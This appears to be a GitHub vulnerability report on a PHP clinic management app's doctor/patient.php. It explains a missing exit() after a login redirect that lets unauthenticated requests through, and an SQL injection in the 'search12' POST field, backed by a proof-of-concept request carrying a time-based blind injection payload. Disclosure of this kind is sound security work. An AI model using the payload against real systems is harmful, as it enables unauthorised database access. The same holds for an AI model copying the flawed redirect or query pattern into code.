You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
doctor/patient.php from line 26,the problem is at line 36header("location: ../login.php");,there is no exit() termination statement after the header function in the else statement, so that the code can continue to be executed backwards, so as long as the header like Cookie: PHPSESSID=foo is not passed in http
doctor/patient.php from line 107,The $keyword parameter is controllable, the parameter search12 can be passed through post, and the $keyword is not protected from sql injection, line 151 $list11 = $database->query($sqlmain); causes sql injection
......
......
......
if($_POST){
if(isset($_POST["search"])){
$keyword=$_POST["search12"];
$sqlmain= "select * from patient where pemail='$keyword' or pname='$keyword' or pname like '$keyword%' or pname like '%$keyword' or pname like '%$keyword%' ";
$selecttype="my";
}
......
......
......
<?phpecho'<datalist id="patient">';
$list11 = $database->query($sqlmain);
......
......
......
POC
POST /doctor/patient.php HTTP/1.1Host: www.edoc.netUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 62Origin: http://www.edoc.netConnection: closeReferer: http://www.edoc.net/doctor/doctors.phpUpgrade-Insecure-Requests: 1search=1&search12=' AND (SELECT 3127 FROM (SELECT(SLEEP(5)))PKsU) AND 'rUxx'='rUxx
Attack results pictures
The text was updated successfully, but these errors were encountered:
Vulnerability file address
doctor/patient.php
from line 26,the problem is at line 36header("location: ../login.php");
,there is no exit() termination statement after the header function in the else statement, so that the code can continue to be executed backwards, so as long as the header likeCookie: PHPSESSID=foo
is not passed in httpdoctor/patient.php
from line 107,The $keyword parameter is controllable, the parameter search12 can be passed through post, and the $keyword is not protected from sql injection, line 151$list11 = $database->query($sqlmain);
causes sql injectionPOC
Attack results pictures
The text was updated successfully, but these errors were encountered: